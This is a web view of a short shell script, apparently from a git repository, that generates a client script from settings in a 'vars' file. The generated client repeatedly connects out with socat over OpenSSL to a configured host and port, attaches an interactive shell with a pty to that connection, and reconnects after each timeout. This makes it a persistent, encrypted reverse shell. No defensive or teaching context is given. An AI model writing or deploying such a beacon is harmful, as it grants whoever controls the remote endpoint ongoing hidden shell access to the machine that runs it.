blob: 9984a8b751618a938f9bb2e1fab4d1bd85cfa726 (
plain) (
blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/bin/sh
. ./vars
help() {
cat <<EOF
Usage: $0
Generates a client shell script based on the variables set in 'vars'
and prints to stdout
EOF
exit 1;
}
while [ $# -gt 0 ] ; do case $1 in
*) help ;;
esac; done
cat <<EOF
#!/bin/sh
_shell="\$(which zsh mksh bash ksh zsh ash sh 2>/dev/null | sed 1q)"
certificate='$(cat ${basename}.crt)'
crt_tmp="\$(mktemp)"
echo "\$certificate" > "\$crt_tmp"
while [ $loop -ne 0 ] ; do
socat exec:"\$_shell",pty,stderr,setsid,sigint,sane OPENSSL:$hostname:$port,verify=$verify,cafile=\$crt_tmp
sleep $timeout
done
rm "\$crt_tmp"
EOF
|